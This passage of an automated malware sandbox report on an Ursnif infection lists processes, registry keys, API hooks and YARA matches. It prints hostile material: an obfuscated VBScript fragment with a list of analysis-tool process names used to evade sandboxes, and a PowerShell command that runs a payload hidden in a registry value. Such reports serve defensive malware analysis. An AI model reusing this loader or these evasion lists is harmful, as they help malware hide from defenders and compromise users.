Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user\AppData\Local\Temp\RES2F3F.tmp' 'c:\Users\user\AppData\Local\Temp\41myt1z4\CSC9757D2D6F9F84ABABCD57DA7E4EFF939.TMP' Jump to behavior
Source: C:\Windows\System32\control.exe Process created: unknown unknown Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user\AppData\Local\Temp\RES4817.tmp' 'c:\Users\user\AppData\Local\Temp\dvgqxizg\CSC2062E18B5949488FB5158C917D4EBA9.TMP'
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe cmd /C 'nslookup myip.opendns.com resolver1.opendns.com > C:\Users\user\AppData\Local\Temp\9047.bi1'
Source: C:\Windows\explorer.exe Process created: unknown unknown
Source: C:\Windows\explorer.exe Process created: unknown unknown
Source: C:\Windows\explorer.exe Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\nslookup.exe nslookup myip.opendns.com resolver1.opendns.com
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32 Jump to behavior
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings Jump to behavior
Source: C:\Windows\explorer.exe File opened: C:\Windows\SYSTEM32\msftedit.dll
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Windows\explorer.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\
Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe File opened: C:\Program Files (x86)\Java\jre1.8.0_211\bin\msvcr100.dll Jump to behavior
Source: Binary string: partial method>An expression tree may not contain an unsafe pointer operationAAn expression tree may not contain an anonymous method expressionHAn anonymous method expression cannot be converted to an expression tree@Range variable '%1!ls!' cannot be assigned to -- it is read onlyPThe range variable '%1!ls!' cannot have the same name as a method type parameterKThe contextual keyword 'var' cannot be used in a range variable declarationaThe best overloaded Add method '%1!ls!' for the collection initializer has some invalid argumentsAAn expression tree lambda may not contain an out or ref parameterJAn expression tree lambda may not contain a method with variable argumentsSSpecify debug information file name (default: output file name with .pdb extension)$Specify a Win32 manifest file (.xml))Do not include the default Win32 manifestNSpecify an application configuration file containing assembly binding settings8Output line and column of the end location of each errorFBuild a Windows Runtime intermediate file that is consumed by WinMDExp Build an Appcontainer executable+Specify the preferred output language name.3Could not write to output file '%2!ls!' -- '%1!ls!' source: csc.exe, 0000001A.00000002.492591062.000001FA6F020000.00000002.00000001.sdmp, csc.exe, 0000001D.00000002.502090814.000001E94A380000.00000002.00000001.sdmp
Source: Binary string: wscui.pdbUGP source: explorer.exe, 0000001F.00000000.546622273.0000000007BA0000.00000002.00000001.sdmp
Source: Binary string: rundll32.pdb source: control.exe, 0000001C.00000002.563779176.0000027A71BDC000.00000004.00000040.sdmp
Source: Binary string: rundll32.pdbGCTL source: control.exe, 0000001C.00000002.563779176.0000027A71BDC000.00000004.00000040.sdmp
Source: Binary string: wscui.pdb source: explorer.exe, 0000001F.00000000.546622273.0000000007BA0000.00000002.00000001.sdmp

Data Obfuscation:

barindex
VBScript performs obfuscated calls to suspicious functions
Source: C:\Windows\System32\wscript.exe Anti Malware Scan Interface: WScript.CreateObject("Scripting.FileSystemObject")REM highwaymen Cinderella. 2193015 gummy market surjection sculptural warty cotman cliff ketch stroke medial gaslight mandate papyrus calcareous colonist Pearson expulsion Rembrandt krypton Huber debility geodetic vocabularian sour roe inoculate heathenish hearty crystalline oldster Tamil price masochist Bruce ecumenist puree McLeod divorce Muenster landslide committed inhabitation sixfold aluminate larceny pragmatism Sturbridge659 octogenarian cress. campground Giuliano lute Taipei valedictorian Koppers cit. 9962460 celebrant liaison posable shutdown mobcap fit pore wapato. adipic readout Bailey brokerage plausible intoxicant Copernican parsimonious entice razorback Canis. foamflower increase inception requisite contemporaneous switchboard. heaven. 1854466 talky Siegfried, phylogenetic weasel asymmetry phloem ingrained Moiseyev TILpy.DeleteFile WScript.ScriptFullName, TrueEnd FunctionFunction DJTznna()on error resume nextIf (InStr(WScript.ScriptName, cStr(262827114)) > 0 And NEdZn = 0) ThenExit FunctionREM EEOC taxonomy. guanidine oncoming telephonic uttermost silken Afrikaans Dominique southern Menelaus Dortmund garter804. repellent burglary Sergei job dad tram bonnet. 4263459 Liz accordant fascism grapple prodigal polytope ascomycetes. municipal katydid throaty youngster. Jeremiah Sheehan squall, ostrich invigorate lossy. scops exempt retrospect, 82121 erudite PhD Helmholtz End IfREM seaside melanoma slaughter gavotte turbidity nob, infirmary promulgate cultural. 2883954 Guinevere conceit aviatrix agribusiness, 3430970 knoll clock extract Effie snakeroot kale inconsiderable poison julep coverall poodle farm, prim sadist bristlecone squaw skimp bullet logician inopportune ferry term legend aborigine capitulate journalese demand Mudd label switchblade dreary move Russo clipboard Benny denote Calhoun technic fortyfold urge Pusan committee. 9589938 sextic flounder Friedrich652 Malawi Agnes respirator basketball mud Hokan, Cameroun sportsman638 Hansen Sal nickname interstitial moor invariable pregnant countersink subterfuge ' mozzarella183 quintessential nourish sardonic incoherent indy legend513 probe. narcissist Delmarva alma Josef tutor episode Coronado Poynting strata weatherstripping coquina Sims querulous Clarendon alba connotative. pansy advent vex Brittany thicket meteor picofarad contingent inaccuracy sustenance ashore bookishproc = ((95 + 2327.0) - (4 + (37 + 2381.0)))shivery = Array("frida-winjector-helper-64.exe","frida-winjector-helper-32.exe","pythonw.exe","pyw.exe","cmdvirth.exe","alive.exe","filewatcherservice.exe","ngvmsvc.exe","sandboxierpcss.exe","analyzer.exe","fortitracer.exe","nsverctl.exe","sbiectrl.exe","angar2.exe","goatcasper.exe","ollydbg.exe","sbiesvc.exe","apimonitor.exe","GoatClientApp.exe","peid.exe","scanhost.exe","apispy.exe","hiew32.exe","perl.exe","scktool.exe","apispy32.exe","hookanaapp.exe","petools.exe","sdclt.exe","asura.exe","hookexplorer.exe","pexplor
Suspicious powershell command line found
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').basebapi))
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').basebapi)) Jump to behavior
Compiles C# or VB.Net code
Source: unknown Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\41myt1z4\41myt1z4.cmdline'
Source: unknown Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\dvgqxizg\dvgqxizg.cmdline'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\41myt1z4\41myt1z4.cmdline' Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\dvgqxizg\dvgqxizg.cmdline' Jump to behavior
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\System32\control.exe Code function: 28_2_00BD4DCD push 3B000001h; retf 28_2_00BD4DD2
Source: C:\Windows\explorer.exe Code function: 31_2_04DE4DCD push 3B000001h; retf 31_2_04DE4DD2

Persistence and Installation Behavior:

barindex
Creates processes via WMI
Source: C:\Windows\System32\wscript.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Drops PE files
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\dvgqxizg\dvgqxizg.dll Jump to dropped file
Source: C:\Windows\System32\wscript.exe File created: C:\Users\user\AppData\Local\Temp\earmark.avchd Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\41myt1z4\41myt1z4.dll Jump to dropped file
Drops files with a non-matching file extension (content does not match file extension)
Source: C:\Windows\System32\wscript.exe File created: C:\Users\user\AppData\Local\Temp\earmark.avchd Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

barindex
Yara detected Ursnif
Source: Yara match File source: 00000003.00000003.414828910.0000000004D58000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000003.506842838.000002656DBD0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.414892314.0000000004D58000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000003.509721795.00000000027B0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.423836026.0000000004BDB000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.612829369.000002191303E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000002.612699598.0000021DB8A3E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.491033572.0000000004170000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.414853101.0000000004D58000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.414912288.0000000004D58000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000000.532328464.0000000004E1E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.414925514.0000000004D58000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.414730489.0000000004D58000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.414774270.0000000004D58000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.414871579.0000000004D58000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001C.00000002.562589004.0000000000C0E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000002.622893274.0000000004E1E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.515908651.00000000052D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000027.00000002.610642121.000002DACE3AE000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000001C.00000003.499431243.0000027A6FE50000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: control.exe PID: 4456, type: MEMORY
Source: Yara match File source: Process Memory Space: explorer.exe PID: 3440, type: MEMORY
Source: Yara match File source: Process Memory Space: powershell.exe PID: 1040, type: MEMORY
Deletes itself after installation
Source: C:\Windows\System32\wscript.exe File deleted: c:\users\user\desktop\6znkpytavn7v.vbs Jump to behavior
Hooks registry keys query functions (used to hide registry keys)
Source: explorer.exe IAT, EAT, inline or SSDT hook detected: function: api-ms-win-core-registry-l1-1-0.dll:RegGetValueW
Modifies the export address table of user mode modules (user mode EAT hooks)
Source: explorer.exe IAT of a user mode module has changed: module: KERNEL32.DLL function: CreateProcessAsUserW address: 7FFD8893521C
Modifies the import address table of user mode modules (user mode IAT hooks)
Source: explorer.exe EAT of a user mode module has changed: module: user32.dll function: api-ms-win-core-processthreads-l1-1-0.dll:CreateProcessW address: 7FFD88935200
Modifies the prolog of user mode functions (user mode inline hooks)
Source: explorer.exe User mode code has changed: module: KERNEL32.DLL function: CreateProcessAsUserW new code: 0xFF 0xF2 0x25 0x50 0x00 0x00
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Windows\System32\wscript.exe Registry key monitored for changes: HKEY_CURRENT_USER_Classes Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\control.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

barindex
Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)
Source: C:\Windows\System32\wscript.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_LogicalDisk
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: wscript.exe, 00000000.00000003.375722028.0000011E59A94000.00000004.00000001.sdmp Binary or memory string: AUTORUNSC.EXE
Source: wscript.exe, 00000000.00000003.372274331.0000011E59A96000.00000004.00000001.sdmp Binary or memory string: EMUL.EXE
Source: wscript.exe, 00000000.00000003.375722028.0000011E59A94000.00000004.00000001.sdmp Binary or memory string: SBIECTRL.EXE
Source: wscript.exe, 00000000.00000003.375722028.0000011E59A94000.00000004.00000001.sdmp Binary or memory string: APISPY.EXE
Source: wscript.exe, 00000000.00000003.372274331.0000011E59A96000.00000004.00000001.sdmp Binary or memory string: $FAKEHTTPSERVER.EXE
Source: wscript.exe, 00000000.00000003.375722028.0000011E59A94000.00000004.00000001.sdmp Binary or memory string: REGMON.EXEIK
Source: wscript.exe, 00000000.00000003.372274331.0000011E59A96000.00000004.00000001.sdmp Binary or memory string: WINDBG.EXE
Source: wscript.exe, 00000000.00000003.375722028.0000011E59A94000.00000004.00000001.sdmp Binary or memory string: SCKTOOL.EXE;HQ
Source: wscript.exe, 00000000.00000003.375722028.0000011E59A94000.00000004.00000001.sdmp Binary or memory string: IDAQ.EXET
Source: wscript.exe, 00000000.00000003.373966707.0000011E59A7B000.00000004.00000001.sdmp Binary or memory string: BEHAVIORDUMPER.EXE@Q
Source: wscript.exe, 00000000.00000003.372274331.0000011E59A96000.00000004.00000001.sdmp Binary or memory string: WINDUMP.EXE
Source: wscript.exe, 00000000.00000003.373966707.0000011E59A7B000.00000004.00000001.sdmp Binary or memory string: IMPORTREC.EXE@
Source: wscript.exe, 00000000.00000003.340990984.0000011E5A552000.00000004.00000001.sdmp Binary or memory string: FILEMON.EXETEM5~'
Source: wscript.exe, 00000000.00000003.373966707.0000011E59A7B000.00000004.00000001.sdmp Binary or memory string: HOOKEXPLORER.EXE@
Source: wscript.exe, 00000000.00000003.375722028.0000011E59A94000.00000004.00000001.sdmp Binary or memory string: SYSANALYZER.EXEA
Source: wscript.exe, 00000000.00000003.373966707.0000011E59A7B000.00000004.00000001.sdmp Binary or memory string: APISPY.EXE@
Source: wscript.exe, 00000000.00000003.373966707.0000011E59A7B000.00000004.00000001.sdmp Binary or memory string: IMUL.EXE@.8
Source: wscript.exe, 00000000.00000003.375722028.0000011E59A94000.00000004.00000001.sdmp Binary or memory string: PETOOLS.EXEJ
